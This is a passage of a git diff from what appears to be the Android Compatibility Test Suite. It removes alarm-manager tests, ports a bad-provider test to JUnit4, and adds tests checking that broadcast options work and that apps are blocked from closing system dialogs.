-                    return mMockAlarmReceiver.alarmed;
-                }
-            }.run();
-
-            // Now wait until 1 sec beyond the expected exact alarm fire time, or for at
-            // least one second if we're already past the nominal exact alarm fire time
-            long timeToExact = Math.max(exactStart - System.currentTimeMillis() + 1000, 1000);
-            new PollingCheck(timeToExact) {
-                @Override
-                protected boolean check() {
-                    return mMockAlarmReceiver2.alarmed;
-                }
-            }.run();
-
-            // Success when we observe that the exact and windowed alarm are not being often
-            // delivered close together -- that is, when we can be confident that they are not
-            // being coalesced.
-            final long delta = Math.abs(mMockAlarmReceiver2.rtcTime - mMockAlarmReceiver.rtcTime);
-            Log.i("TEST", "[" + i + "]  delta = " + delta);
-            if (delta < FAIL_DELTA) {
-                deliveriesTogether++;
-                assertTrue("Exact alarms appear to be coalescing with inexact alarms",
-                        deliveriesTogether <= MAX_NEAR_DELIVERIES);
-            }
-        }
-    }
-
-    @LargeTest
-    public void testSetRepeating() throws Exception {
-        mMockAlarmReceiver.setAlarmedFalse();
-        mWakeupTime = System.currentTimeMillis() + TEST_ALARM_FUTURITY;
-        mAm.setRepeating(AlarmManager.RTC_WAKEUP, mWakeupTime, REPEAT_PERIOD, mSender);
-
-        // wait beyond the initial alarm's possible delivery window to verify that it fires the first time
-        new PollingCheck(TEST_ALARM_FUTURITY + REPEAT_PERIOD) {
-            @Override
-            protected boolean check() {
-                return mMockAlarmReceiver.alarmed;
-            }
-        }.run();
-        assertTrue(mMockAlarmReceiver.alarmed);
-
-        // Now reset the receiver and wait for the intended repeat alarm to fire as expected
-        mMockAlarmReceiver.setAlarmedFalse();
-        new PollingCheck(REPEAT_PERIOD*2) {
-            @Override
-            protected boolean check() {
-                return mMockAlarmReceiver.alarmed;
-            }
-        }.run();
-        assertTrue(mMockAlarmReceiver.alarmed);
-
-        mAm.cancel(mSender);
-    }
-
-    public void testCancel() throws Exception {
-        mMockAlarmReceiver.setAlarmedFalse();
-        mMockAlarmReceiver2.setAlarmedFalse();
-
-        // set two alarms
-        final long when1 = System.currentTimeMillis() + TEST_ALARM_FUTURITY;
-        mAm.setExact(AlarmManager.RTC_WAKEUP, when1, mSender);
-        final long when2 = when1 + TIME_DELTA; // will fire after when1's target time
-        mAm.setExact(AlarmManager.RTC_WAKEUP, when2, mSender2);
-
-        // cancel the earlier one
-        mAm.cancel(mSender);
-
-        // and verify that only the later one fired
-        new PollingCheck(TIME_DELAY) {
-            @Override
-            protected boolean check() {
-                return mMockAlarmReceiver2.alarmed;
-            }
-        }.run();
-
-        assertFalse(mMockAlarmReceiver.alarmed);
-        assertTrue(mMockAlarmReceiver2.alarmed);
-    }
-
-    public void testSetInexactRepeating() throws Exception {
-        mAm.setInexactRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(),
-                AlarmManager.INTERVAL_FIFTEEN_MINUTES, mSender);
-        SystemClock.setCurrentTimeMillis(System.currentTimeMillis()
-                + AlarmManager.INTERVAL_FIFTEEN_MINUTES);
-        // currently there is no way to write Android system clock. When try to
-        // write the system time, there will be log as
-        // " Unable to open alarm driver: Permission denied". But still fail
-        // after tried many permission.
-    }
-
-    public void testSetAlarmClock() throws Exception {
-        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.LOLLIPOP)) {
-            mMockAlarmReceiver.setAlarmedFalse();
-            mMockAlarmReceiver2.setAlarmedFalse();
-
-            // Set first alarm clock.
-            final long wakeupTimeFirst = System.currentTimeMillis()
-                    + 2 * TEST_ALARM_FUTURITY;
-            mAm.setAlarmClock(new AlarmClockInfo(wakeupTimeFirst, null), mSender);
-
-            // Verify getNextAlarmClock returns first alarm clock.
-            AlarmClockInfo nextAlarmClock = mAm.getNextAlarmClock();
-            assertEquals(wakeupTimeFirst, nextAlarmClock.getTriggerTime());
-            assertNull(nextAlarmClock.getShowIntent());
-
-            // Set second alarm clock, earlier than first.
-            final long wakeupTimeSecond = System.currentTimeMillis()
-                    + TEST_ALARM_FUTURITY;
-            PendingIntent showIntentSecond = PendingIntent.getBroadcast(getContext(), 0,
-                    new Intent(getContext(), AlarmManagerTest.class).setAction("SHOW_INTENT"), 0);
-            mAm.setAlarmClock(new AlarmClockInfo(wakeupTimeSecond, showIntentSecond),
-                    mSender2);
-
-            // Verify getNextAlarmClock returns second alarm clock now.
-            nextAlarmClock = mAm.getNextAlarmClock();
-            assertEquals(wakeupTimeSecond, nextAlarmClock.getTriggerTime());
-            assertEquals(showIntentSecond, nextAlarmClock.getShowIntent());
-
-            // Cancel second alarm.
-            mAm.cancel(mSender2);
-
-            // Verify getNextAlarmClock returns first alarm clock again.
-            nextAlarmClock = mAm.getNextAlarmClock();
-            assertEquals(wakeupTimeFirst, nextAlarmClock.getTriggerTime());
-            assertNull(nextAlarmClock.getShowIntent());
-
-            // Wait for first alarm to trigger.
-            assertFalse(mMockAlarmReceiver.alarmed);
-            new PollingCheck(2 * TEST_ALARM_FUTURITY + TIME_DELAY) {
-                @Override
-                protected boolean check() {
-                    return mMockAlarmReceiver.alarmed;
-                }
-            }.run();
-
-            // Verify first alarm fired at the right time.
-            assertEquals(mMockAlarmReceiver.rtcTime, wakeupTimeFirst, TIME_DELTA);
-
-            // Verify second alarm didn't fire.
-            assertFalse(mMockAlarmReceiver2.alarmed);
-
-            // Verify the next alarm is not returning neither the first nor the second alarm.
-            nextAlarmClock = mAm.getNextAlarmClock();
-            MoreAsserts.assertNotEqual(wakeupTimeFirst, nextAlarmClock != null
-                    ? nextAlarmClock.getTriggerTime()
-                    : null);
-            MoreAsserts.assertNotEqual(wakeupTimeSecond, nextAlarmClock != null
-                    ? nextAlarmClock.getTriggerTime()
-                    : null);
-        }
-    }
-}
diff --git a/tests/app/src/android/app/cts/BadProviderTest.java b/tests/app/src/android/app/cts/BadProviderTest.java
index 3c16fd3..17f6ae5 100644
--- a/tests/app/src/android/app/cts/BadProviderTest.java
+++ b/tests/app/src/android/app/cts/BadProviderTest.java
@@ -16,26 +16,43 @@
 
 package android.app.cts;
 
-import android.app.ActivityManager;
+import static junit.framework.Assert.fail;
+
 import android.app.cts.android.app.cts.tools.WatchUidRunner;
 import android.content.ContentResolver;
+import android.content.Context;
 import android.content.pm.ApplicationInfo;
 import android.net.Uri;
-import android.os.HandlerThread;
 import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.SystemClock;
-import android.test.AndroidTestCase;
+import android.platform.test.annotations.Presubmit;
 
-import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test system behavior of a bad provider.
  */
-public class BadProviderTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+@Presubmit
+public class BadProviderTest {
     private static final String AUTHORITY = "com.android.cts.stubbad.badprovider";
     private static final String TEST_PACKAGE_NAME = "com.android.cts.stubbad";
     private static final int WAIT_TIME = 2000;
 
+    private Context mContext;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Test
     public void testExitOnCreate() {
         WatchUidRunner uidWatcher = null;
         ContentResolver res = mContext.getContentResolver();
diff --git a/tests/app/src/android/app/cts/BroadcastOptionsTest.java b/tests/app/src/android/app/cts/BroadcastOptionsTest.java
new file mode 100644
index 0000000..c3b4e89
--- /dev/null
+++ b/tests/app/src/android/app/cts/BroadcastOptionsTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNull;
+
+import android.app.BroadcastOptions;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.PowerExemptionManager;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BroadcastOptionsTest {
+
+    /**
+     * Creates a clone of BroadcastOptions, using toBundle().
+     */
+    private BroadcastOptions cloneViaBundle(BroadcastOptions bo) {
+        final Bundle b = bo.toBundle();
+
+        // If toBundle() returns null, that means the BroadcastOptions was the default values.
+        return b == null ? BroadcastOptions.makeBasic() : new BroadcastOptions(b);
+    }
+
+    private void assertBroadcastOptionTemporaryAppAllowList(
+            BroadcastOptions bo,
+            long expectedDuration,
+            int expectedAllowListType,
+            int expectedReasonCode,
+            String expectedReason) {
+        assertEquals(expectedAllowListType, bo.getTemporaryAppAllowlistType());
+        assertEquals(expectedDuration, bo.getTemporaryAppAllowlistDuration());
+        assertEquals(expectedReasonCode, bo.getTemporaryAppAllowlistReasonCode());
+        assertEquals(expectedReason, bo.getTemporaryAppAllowlistReason());
+
+        // Clone the BO and check it too.
+        BroadcastOptions cloned = cloneViaBundle(bo);
+        assertEquals(expectedAllowListType, cloned.getTemporaryAppAllowlistType());
+        assertEquals(expectedDuration, cloned.getTemporaryAppAllowlistDuration());
+        assertEquals(expectedReasonCode, cloned.getTemporaryAppAllowlistReasonCode());
+        assertEquals(expectedReason, cloned.getTemporaryAppAllowlistReason());
+    }
+
+    private void assertBroadcastOption_noTemporaryAppAllowList(BroadcastOptions bo) {
+        assertBroadcastOptionTemporaryAppAllowList(bo,
+                /* duration= */ 0,
+                PowerExemptionManager.TEMPORARY_ALLOW_LIST_TYPE_NONE,
+                PowerExemptionManager.REASON_UNKNOWN,
+                /* reason= */ null);
+    }
+
+    @Test
+    public void testTemporaryAppAllowlistBroadcastOptions_defaultValues() {
+        BroadcastOptions bo;
+
+        bo = BroadcastOptions.makeBasic();
+
+        // If no options are set, toBundle() should return null
+        assertNull(bo.toBundle());
+
+        // Check the default values about temp-allowlist.
+        assertBroadcastOption_noTemporaryAppAllowList(bo);
+    }
+
+    @Test
+    public void testSetTemporaryAppWhitelistDuration_legacyApi() {
+        BroadcastOptions bo;
+
+        bo = BroadcastOptions.makeBasic();
+
+        bo.setTemporaryAppWhitelistDuration(10);
+
+        assertBroadcastOptionTemporaryAppAllowList(bo,
+                /* duration= */ 10,
+                PowerExemptionManager.TEMPORARY_ALLOW_LIST_TYPE_FOREGROUND_SERVICE_ALLOWED,
+                PowerExemptionManager.REASON_UNKNOWN,
+                /* reason= */ null);
+
+        // Clear the temp-allowlist.
+        bo.setTemporaryAppWhitelistDuration(0);
+
+        // Check the default values about temp-allowlist.
+        assertBroadcastOption_noTemporaryAppAllowList(bo);
+    }
+
+    @Test
+    public void testSetTemporaryAppWhitelistDuration() {
+        BroadcastOptions bo;
+
+        bo = BroadcastOptions.makeBasic();
+
+        bo.setTemporaryAppAllowlist(10,
+                PowerExemptionManager.TEMPORARY_ALLOW_LIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED,
+                PowerExemptionManager.REASON_GEOFENCING,
+                null);
+
+        assertBroadcastOptionTemporaryAppAllowList(bo,
+                /* duration= */ 10,
+                PowerExemptionManager.TEMPORARY_ALLOW_LIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED,
+                PowerExemptionManager.REASON_GEOFENCING,
+                /* reason= */ null);
+
+        // Setting duration 0 will clear the previous call.
+        bo.setTemporaryAppAllowlist(0,
+                PowerExemptionManager.TEMPORARY_ALLOW_LIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED,
+                PowerExemptionManager.REASON_ACTIVITY_RECOGNITION,
+                "reason");
+        assertBroadcastOption_noTemporaryAppAllowList(bo);
+
+        // Set again.
+        bo.setTemporaryAppAllowlist(20,
+                PowerExemptionManager.TEMPORARY_ALLOW_LIST_TYPE_FOREGROUND_SERVICE_ALLOWED,
+                PowerExemptionManager.REASON_GEOFENCING,
+                "reason");
+
+        assertBroadcastOptionTemporaryAppAllowList(bo,
+                /* duration= */ 20,
+                PowerExemptionManager.TEMPORARY_ALLOW_LIST_TYPE_FOREGROUND_SERVICE_ALLOWED,
+                PowerExemptionManager.REASON_GEOFENCING,
+                /* reason= */ "reason");
+
+        // Set to NONE will clear the previous call too.
+        bo.setTemporaryAppAllowlist(10,
+                PowerExemptionManager.TEMPORARY_ALLOW_LIST_TYPE_NONE,
+                PowerExemptionManager.REASON_ACTIVITY_RECOGNITION,
+                "reason");
+
+        assertBroadcastOption_noTemporaryAppAllowList(bo);
+    }
+
+    @Test
+    public void testMaxManifestReceiverApiLevel() {
+        final BroadcastOptions bo = BroadcastOptions.makeBasic();
+        // No MaxManifestReceiverApiLevel set, the default value should be CUR_DEVELOPMENT.
+        assertEquals(Build.VERSION_CODES.CUR_DEVELOPMENT, bo.getMaxManifestReceiverApiLevel());
+
+        // Set MaxManifestReceiverApiLevel to P.
+        bo.setMaxManifestReceiverApiLevel(Build.VERSION_CODES.P);
+        assertEquals(Build.VERSION_CODES.P, bo.getMaxManifestReceiverApiLevel());
+
+        // Clone the BroadcastOptions and check it too.
+        final BroadcastOptions cloned = cloneViaBundle(bo);
+        assertEquals(Build.VERSION_CODES.P, bo.getMaxManifestReceiverApiLevel());
+    }
+}
diff --git a/tests/app/src/android/app/cts/CloseSystemDialogsTest.java b/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
new file mode 100644
index 0000000..f7d2718
--- /dev/null
+++ b/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
@@ -0,0 +1,465 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import static android.app.UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES;
+import static android.app.cts.NotificationManagerTest.toggleListenerAccess;
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.app.cts.android.app.cts.tools.FutureServiceConnection;
+import android.app.cts.android.app.cts.tools.NotificationHelper;
+import android.app.stubs.TestNotificationListener;
+import android.app.stubs.shared.FakeView;
+import android.app.stubs.shared.ICloseSystemDialogsTestsService;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.hardware.display.DisplayManager;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.ResultReceiver;
+import android.provider.Settings;
+import android.server.wm.WindowManagerStateHelper;
+import android.view.Display;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CloseSystemDialogsTest {
+    private static final String TEST_SERVICE =
+            "android.app.stubs.shared.CloseSystemDialogsTestService";
+    private static final String APP_COMPAT_ENABLE = "enable";
+    private static final String APP_COMPAT_DISABLE = "disable";
+    private static final String APP_COMPAT_RESET = "reset";
+    private static final String ACTION_SENTINEL = "sentinel";
+    private static final String REASON = "test";
+    private static final long TIMEOUT_MS = 3000;
+    private static final String ACCESSIBILITY_SERVICE =
+            "android.app.stubs.shared.AppAccessibilityService";
+
+    /**
+     * This test is not self-instrumenting, so we need to bind to the service in the instrumentation
+     * target package (instead of our package).
+     */
+    private static final String APP_SELF = "android.app.stubs";
+
+    /**
+     * Use com.android.app1 instead of android.app.stubs because the latter is the target of
+     * instrumentation, hence it also has shell powers for {@link
+     * Intent#ACTION_CLOSE_SYSTEM_DIALOGS} and we don't want those powers under simulation.
+     */
+    private static final String APP_HELPER = "com.android.app4";
+
+    private Instrumentation mInstrumentation;
+    private FutureServiceConnection mConnection;
+    private Context mContext;
+    private ContentResolver mResolver;
+    private ICloseSystemDialogsTestsService mService;
+    private volatile WindowManager mSawWindowManager;
+    private volatile Context mSawContext;
+    private volatile CompletableFuture<Void> mCloseSystemDialogsReceived;
+    private volatile ConditionVariable mSentinelReceived;
+    private volatile FakeView mFakeView;
+    private WindowManagerStateHelper mWindowState;
+    private IntentReceiver mIntentReceiver;
+    private Handler mMainHandler;
+    private TestNotificationListener mNotificationListener;
+    private NotificationHelper mNotificationHelper;
+    private String mPreviousHiddenApiPolicy;
+    private String mPreviousAccessibilityServices;
+    private String mPreviousAccessibilityEnabled;
+    private boolean mResetAccessibility;
+
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getTargetContext();
+        mResolver = mContext.getContentResolver();
+        mMainHandler = new Handler(Looper.getMainLooper());
+        toggleListenerAccess(mContext, true);
+        mNotificationListener = TestNotificationListener.getInstance();
+        mNotificationHelper = new NotificationHelper(mContext, () -> mNotificationListener);
+        mWindowState = new WindowManagerStateHelper();
+        enableUserFinal();
+
+        // We need to test that a few hidden APIs are properly protected in the helper app. The
+        // helper app we're using doesn't have the checks disabled because it's not the target of
+        // instrumentation, see comment on APP_HELPER for details.
+        mPreviousHiddenApiPolicy = setHiddenApiPolicy("1");
+
+        // Add a receiver that will verify if the intent was sent or not
+        mIntentReceiver = new IntentReceiver();
+        mCloseSystemDialogsReceived = new CompletableFuture<>();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(Intent.ACTION_CLOSE_SYSTEM_DIALOGS);
+        filter.addAction(ACTION_SENTINEL);
+        mContext.registerReceiver(mIntentReceiver, filter);
+
+        // Add a view to verify if the view got the callback or not
+        mSawContext = getContextForSaw(mContext);
+        mSawWindowManager = mSawContext.getSystemService(WindowManager.class);
+        mMainHandler.post(() -> {
+            mFakeView = new FakeView(mSawContext);
+            mSawWindowManager.addView(mFakeView, new LayoutParams(TYPE_APPLICATION_OVERLAY));
+        });
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mConnection != null) {
+            mContext.unbindService(mConnection);
+        }
+        if (mResetAccessibility) {
+            setAccessibilityState(mPreviousAccessibilityEnabled, mPreviousAccessibilityServices);
+        }
+        mMainHandler.post(() -> mSawWindowManager.removeViewImmediate(mFakeView));
+        mContext.unregisterReceiver(mIntentReceiver);
+        resetUserFinal();
+        setHiddenApiPolicy(mPreviousHiddenApiPolicy);
+        compat(APP_COMPAT_RESET, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
+        compat(APP_COMPAT_RESET, "NOTIFICATION_TRAMPOLINE_BLOCK", APP_HELPER);
+        mNotificationListener.resetData();
+    }
+
+    /** Intent.ACTION_CLOSE_SYSTEM_DIALOGS */
+
+    @Test
+    public void testCloseSystemDialogs_whenTargetSdkCurrent_isBlockedAndThrows() throws Exception {
+        setTargetCurrent();
+        mService = getService(APP_HELPER);
+
+        assertThrows(SecurityException.class, () -> mService.sendCloseSystemDialogsBroadcast());
+
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_whenTargetSdk30_isBlockedButDoesNotThrow() throws Exception {
+        mService = getService(APP_HELPER);
+
+        mService.sendCloseSystemDialogsBroadcast();
+
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_whenTestInstrumentedViaShell_isSent() throws Exception {
+        mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+
+        assertCloseSystemDialogsReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_whenRunningAsShell_isSent() throws Exception {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS)));
+
+        assertCloseSystemDialogsReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_inTrampolineWhenTargetSdkCurrent_isBlockedAndThrows()
+            throws Exception {
+        setTargetCurrent();
+        int notificationId = 42;
+        CompletableFuture<Integer> result = new CompletableFuture<>();
+        mService = getService(APP_HELPER);
+
+        mService.postNotification(notificationId, new FutureReceiver(result));
+
+        mNotificationHelper.clickNotification(notificationId, /* searchAll */ true);
+        assertThat(result.get()).isEqualTo(
+                ICloseSystemDialogsTestsService.RESULT_SECURITY_EXCEPTION);
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_inTrampolineWhenTargetSdk30_isSent() throws Exception {
+        int notificationId = 43;
+        CompletableFuture<Integer> result = new CompletableFuture<>();
+        mService = getService(APP_HELPER);
+
+        mService.postNotification(notificationId, new FutureReceiver(result));
+
+        mNotificationHelper.clickNotification(notificationId, /* searchAll */ true);
+        assertThat(result.get()).isEqualTo(
+                ICloseSystemDialogsTestsService.RESULT_OK);
+        assertCloseSystemDialogsReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_withWindowAboveShadeAndTargetSdk30_isSent()
+            throws Exception {
+        // Test is only applicable to devices that have a notification shade.
+        assumeTrue(mWindowState.hasNotificationShade());
+        mService = getService(APP_HELPER);
+        setAccessibilityService(APP_HELPER, ACCESSIBILITY_SERVICE);
+        assertTrue(mService.waitForAccessibilityServiceWindow(TIMEOUT_MS));
+
+        mService.sendCloseSystemDialogsBroadcast();
+
+        assertCloseSystemDialogsReceived();
+    }
+
+    /** IWindowManager.closeSystemDialogs() */
+
+    @Test
+    public void testCloseSystemDialogsViaWindowManager_whenTestInstrumentedViaShell_isSent()
+            throws Exception {
+        mService = getService(APP_SELF);
+
+        mService.closeSystemDialogsViaWindowManager(REASON);
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaWindowManager_whenRunningAsShell_isSent()
+            throws Exception {
+        mService = getService(APP_SELF);
+
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mService.closeSystemDialogsViaWindowManager(REASON));
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaWindowManager_whenTargetSdkCurrent_isBlockedAndThrows()
+            throws Exception {
+        setTargetCurrent();
+        mService = getService(APP_HELPER);
+
+        assertThrows(SecurityException.class,
+                () -> mService.closeSystemDialogsViaWindowManager(REASON));
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+    }
+
+
+    @Test
+    public void testCloseSystemDialogsViaWindowManager_whenTargetSdk30_isBlockedButDoesNotThrow()
+            throws Exception {
+        mService = getService(APP_HELPER);
+
+        mService.closeSystemDialogsViaWindowManager(REASON);
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+    }
+
+    /** IActivityManager.closeSystemDialogs() */
+
+    @Test
+    public void testCloseSystemDialogsViaActivityManager_whenTestInstrumentedViaShell_isSent()
+            throws Exception {
+        mService = getService(APP_SELF);
+
+        mService.closeSystemDialogsViaActivityManager(REASON);
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+        assertCloseSystemDialogsReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaActivityManager_whenRunningAsShell_isSent()
+            throws Exception {
+        mService = getService(APP_SELF);
+
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mService.closeSystemDialogsViaActivityManager(REASON));
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+        assertCloseSystemDialogsReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaActivityManager_whenTargetSdkCurrent_isBlockedAndThrows()
+            throws Exception {
+        setTargetCurrent();
+        mService = getService(APP_HELPER);
+
+        assertThrows(SecurityException.class,
+                () -> mService.closeSystemDialogsViaActivityManager(REASON));
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaActivityManager_whenTargetSdk30_isBlockedButDoesNotThrow()
+            throws Exception {
+        mService = getService(APP_HELPER);
+
+        mService.closeSystemDialogsViaActivityManager(REASON);
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    private void setTargetCurrent() {
+        // The helper app has targetSdk=30, opting-in to changes emulates targeting latest sdk.
+        compat(APP_COMPAT_ENABLE, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
+        compat(APP_COMPAT_ENABLE, "NOTIFICATION_TRAMPOLINE_BLOCK", APP_HELPER);
+    }
+
+    private void assertCloseSystemDialogsNotReceived() {
+        // If both broadcasts are sent, they will be received in order here since they are both
+        // registered receivers in the "bg" queue in system_server and belong to the same app.
+        // This is guaranteed by a series of handlers that are the same in both cases and due to the
+        // fact that the binder that system_server uses to call into the app is the same (since the
+        // app is the same) and one-way calls on the same binder object are ordered.
+        mSentinelReceived = new ConditionVariable(false);
+        Intent intent = new Intent(ACTION_SENTINEL);
+        intent.setPackage(mContext.getPackageName());
+        mContext.sendBroadcast(intent);
+        mSentinelReceived.block();
+        assertThat(mCloseSystemDialogsReceived.isDone()).isFalse();
+    }
+
+    private void assertCloseSystemDialogsReceived() throws Exception {
+        mCloseSystemDialogsReceived.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        // No TimeoutException thrown
+    }
+
+    private ICloseSystemDialogsTestsService getService(String packageName) throws Exception {
+        return ICloseSystemDialogsTestsService.Stub.asInterface(
+                connect(packageName).get(TIMEOUT_MS));
+    }
+
+    private FutureServiceConnection connect(String packageName) {
+        if (mConnection != null) {
+            return mConnection;
+        }
+        mConnection = new FutureServiceConnection();
+        Intent intent = new Intent();
+        intent.setComponent(ComponentName.createRelative(packageName, TEST_SERVICE));
+        assertTrue(mContext.bindService(intent, mConnection, Context.BIND_AUTO_CREATE));
+        return mConnection;
+    }
+
+    private String setHiddenApiPolicy(String policy) throws Exception {
+        return SystemUtil.callWithShellPermissionIdentity(() -> {
+            String previous = Settings.Global.getString(mResolver,
+                    Settings.Global.HIDDEN_API_POLICY);
+            Settings.Global.putString(mResolver, Settings.Global.HIDDEN_API_POLICY, policy);
+            return previous;
+        });
+    }
+
+    private void setAccessibilityService(String packageName, String service) throws Exception {
+        setAccessibilityState("1", packageName + "/" + service);
+    }
+
+    private void setAccessibilityState(String enabled, String services) {
+        mResetAccessibility = true;
+        UiAutomation uiAutomation = mInstrumentation.getUiAutomation(
+                FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+        SystemUtil.runWithShellPermissionIdentity(uiAutomation, () -> {
+            mPreviousAccessibilityServices = Settings.Secure.getString(mResolver,
+                    Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
+            mPreviousAccessibilityEnabled = Settings.Secure.getString(mResolver,
+                    Settings.Secure.ACCESSIBILITY_ENABLED);
+            Settings.Secure.putString(mResolver, Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES,
+                    services);
+            Settings.Secure.putString(mResolver, Settings.Secure.ACCESSIBILITY_ENABLED, enabled);
+        });
+    }
+
+    private static void enableUserFinal() {
+        SystemUtil.runShellCommand(
+                "settings put global force_non_debuggable_final_build_for_compat 1");
+    }
+
+    private static void resetUserFinal() {
+        SystemUtil.runShellCommand(
+                "settings put global force_non_debuggable_final_build_for_compat 0");
+    }
+
+    private static void compat(String command, String changeId, String packageName) {
+        SystemUtil.runShellCommand(
+                String.format("am compat %s %s %s", command, changeId, packageName));
+    }
+
+    private static void compat(String command, long changeId, String packageName) {
+        compat(command, Long.toString(changeId), packageName);
+    }
+
+    private static Context getContextForSaw(Context context) {
+        DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+        Display display = displayManager.getDisplay(DEFAULT_DISPLAY);
+        Context displayContext = context.createDisplayContext(display);
+        return displayContext.createWindowContext(TYPE_APPLICATION_OVERLAY, null);
+    }
+
+    private class IntentReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            switch (intent.getAction()) {
+                case Intent.ACTION_CLOSE_SYSTEM_DIALOGS:
+                    mCloseSystemDialogsReceived.complete(null);
+                    break;
+                case ACTION_SENTINEL:
+                    mSentinelReceived.open();
+                    break;
+            }
+        }
+    }
+
+    private class FutureReceiver extends ResultReceiver {
+        private final CompletableFuture<Integer> mFuture;
+
+        FutureReceiver(CompletableFuture<Integer> future) {
+            super(mMainHandler);
+            mFuture = future;
+        }
+
+        @Override
